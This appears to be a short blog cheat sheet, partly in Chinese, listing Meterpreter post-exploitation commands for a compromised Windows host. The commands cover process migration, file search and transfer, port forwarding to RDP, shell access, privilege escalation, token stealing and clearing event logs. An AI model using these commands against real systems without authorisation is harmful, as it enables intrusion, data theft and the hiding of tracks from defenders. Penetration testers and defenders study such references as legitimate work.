Meterpreter's brief introduction.



Meterpreter is the MSF that carries a powerful Shell, which can perform many functions.

Meterpreter SHELL



Basic Operations


meterpreter>background #session隐藏到后台
meterpreter>bgkill #杀掉后台的一个meterpreter
meterpreter>bglist #列出后台的meterpreter
meterpreter>bgrun #运行后台的一个meterpreter
msf> sessions -l #查看回话session的list
msf> sessions 4 #切回四号回话,用于和background反操作

View System Information


meterpreter>sysinfo #获取系统信息
meterpreter>getuid #获取当前注入的用户名称

Transfer of injection process


meterpreter>ps #查看进程list
meterpreter>migrate pid #转移注入点的继承



After transferring the injection process, the source process was killed without prejudice to the sessions of meterpreter

Operation of file and path class


meterpreter>ls
meterpreter>pwd
meterpreter>mkdir
meterpreter>mv
meterpreter>rm
meterpreter>rmdir
#以上常见操作不在赘述
meterpreter>show_mount #展示磁盘情况
meterpreter>search -d c:\\ -f *.doc  # -d 路径 -f 文件名模式  搜索文件 例如搜索日志文件 *.evtx
meterpreter>upload /localpath/localfile c:\\remote\\remotepath #上传文件
meterpreter>download c:\\xxx\xxx.xxx /root/... #下载文件
meterpreter>edit xxx  #编辑文件,VIM的

Network configuration and its commands


meterpreter>arp #展示arp
meterpreter>getproxy #获取代理信息
meterpreter>ifconfig(ipconfig) #查看网卡信息
meterpreter>route #打印路由
meterpreter>netstat #查看网络连接情况
meterpreter>resolve #dns解析
meterpreter>portfwd #端口转发portfwd  add -l  1122 -p 3389 -r  192.168.250.176

System operations and their commands


meterpreter>shell #获取cmdshell
meterpreter>clearev #清除event log
meterpreter>execute #执行command
meterpreter>getpid(getuid、getdsid)
meterpreter>getpriv #提权
meterpreter>shutdown #关机
meterpreter>reboot #重启
meterpreter>steal_token #窃取token
meterpreter>sysinfo #系统信息
meterpreter>localtime #获取系统时间

User interface command operation


Windows screen.



Process


The task manager can’t see it, but the tasklist and netstat can see


未经允许不得转载:萌萌Apprentissage » Meterpreter's brief introduction.

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本